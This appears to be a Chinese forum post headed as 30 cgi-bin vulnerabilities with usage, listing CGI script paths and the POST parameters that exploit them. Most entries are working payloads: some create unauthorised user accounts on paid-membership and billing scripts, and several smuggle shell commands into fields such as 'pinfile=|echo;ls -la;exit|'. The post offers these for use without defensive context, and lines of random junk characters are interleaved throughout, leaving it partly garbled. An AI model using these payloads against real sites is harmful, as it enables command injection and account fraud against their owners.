Cgi-bin 30个漏洞＋使用方法

admin

==============================
7 j5 j- _3 x- A; i
3 a& g0 d2 _1 b! c) c. Z/smspass.pl
0 n  r4 s/ K2 @" kusername=username&password=password

/index.cgi
3 B  o- Z4 A% n: o# u9 v" rwei=ren&gen=command

/passmaster.cgi
Action=Add&Username=Username&Password=Password

/accountcreate.cgi
  A; @/ G- c; D- Iusername=username&password=password&ref1=|echo;ls|
" s- o  B$ |6 M- r
/form.cgi
name=xxxx&email=email&subject=xxxx&response=|echo;ls|

  \& V* G: W/ r6 r1 h+ P' M/addusr.pl
/cgi-bin/EuroDebit/addusr.pl
user=username&pass=Password&confirm=Password

* \& X2 Y  V6 r1 a/ccbill-local.asp
post_values=username:password
( r% |! H4 S" ^3 b$ K
/count.cgi
6 v2 _  ~7 S0 t* b" d* [pinfile=|echo;ls -la;exit|
& P9 P7 m! K0 \: b0 g' D! p
/recon.cgi
0 I7 `# q/ u. {! G! l/recon.cgi?search
& S( l6 v9 x  W% w: c) gsearchoption=1&searchfor=|echo;ls -al;exit|
0 }( P/ R. y, Z$ e
# V7 v/ `) i: l$ x/verotelrum.pl
$ w1 n) N8 h8 H7 K/ pvercode=username:password:dseegsow:add:amount<&30>
  ~$ Y5 k2 C% H6 s( ]8 r1 A
7 i% A0 R3 i. V: y' ^3 O! m8 P/af.cgi
" X5 j7 I1 K0 i4 U_browser_out=|echo;ls -la;exit;|

$ ?- B+ _/ M% E+ d! |2 l! C/modify.cgi
username=username&password=password&expire=30
9 S' m' {( e/ w. |$ w  _% p; G" g
+ |8 A8 q  e0 a/openjournal.cgi
) q5 I- ]6 `2 ]3 K2 m& e. l7 O: ?- Redit=1&ct=2&go=|echo;ls -al;exit|
! z& h0 Z+ X( J% q
$ l" P( W* |0 U+ {/gx9passwd.cgi
cmd=ADD&user=username&pass=password
& W# j3 u5 V" i. i! V* D& P- R
  H: G6 y- X* G4 x; ^0 v! U/probecontrol.cgi
command=enable&username=username&password=password
  T! n$ v' w4 r
/recon.cgi
  l$ n6 }0 n$ c3 v7 _searchoption=3&searchfor=echo;ls -la;exit

$ Y, Z* d  a) k& j0 c( `6 W& e/htadd.pl
8 Y* Q, Y" @- L, D/ u& Q2 Yconfigfile=|echo; ls -alt; exit

; t6 k( P( ]& o% H. Z' ^6 a% L/gx9passwd.cgi
cmd=ADD&user=username&pass=password
6 L3 t% q* E# H2 i7 M7 v
/ibill*.pl
reqtype=add&authpwd=authpwd&username=username&password=password
, S8 Z. \1 R! T# k! ?: r5 S. n
8 V4 {1 T: o3 P9 b3 N% D/cpay.cgi
command=add_member&username=username(EMAIL)&password=password(DES)
; `7 Z# S* N( e& m: ~: \
/globill_ut.cgi
do=add&username=username&password=password&wpassword=password

% ~% W( N8 H7 S9 h$ g$ f* Q( T; N/ ]1 X/usercontrol.cgi
  w; B! C3 E+ Q6 {. ^command=enable&username=USER&password=PASS

* R1 y; F/ y" t: t$ c. C7 ?5 k# \/globoSALErum.cgi
action=ADD&seccode=seccode&login=username&password=password
4 T4 E3 S$ a5 ?& A8 \3 r3 P
/addusr.pl
/ f- b* B/ u  K+ g# Luser=USER&pass=PASS&confirm=PASS
, e% q- `2 \0 m) b" ~
/pincount.cgi
# ^& Q( E; M$ K: K: W9 t" U; E/cgi-bin/mastergate/pincount.cgi
4 K( k9 [; d& e& _, N; z8 b( K1 G/ \pinfile=|echo;pwd;exit|

/accountcreate.cgi
/cgi-bin/gateway/accountcreate.cgi
username=username&password=password&password2=password&ref1=|echo;ls -al;exit

, m0 m4 U) M' f+ c' \$ Z2 j( m, Q/af.cgi
1 i" Q! x; a7 i) _1 s/env.cgi
  ^9 h  D9 r; }- f" A+ H$ M- PADD+;echo;pwd;exit
8 d2 E5 b& z  L% t/ s
) C& `  j7 {8 [- G/count.cgi
pinfile=|echo;pwd;exit|

/recon.cgi
searchoption=1&searchfor=|echo;ls%20-al;exit|

0 a' r( `3 l  j7 ?! h/add.cgi
username=username&password=password&expire=30

7 E) v; Y9 B" X2 U5 o. ^==============================
' Q/ v. ^2 g/ w' g- ~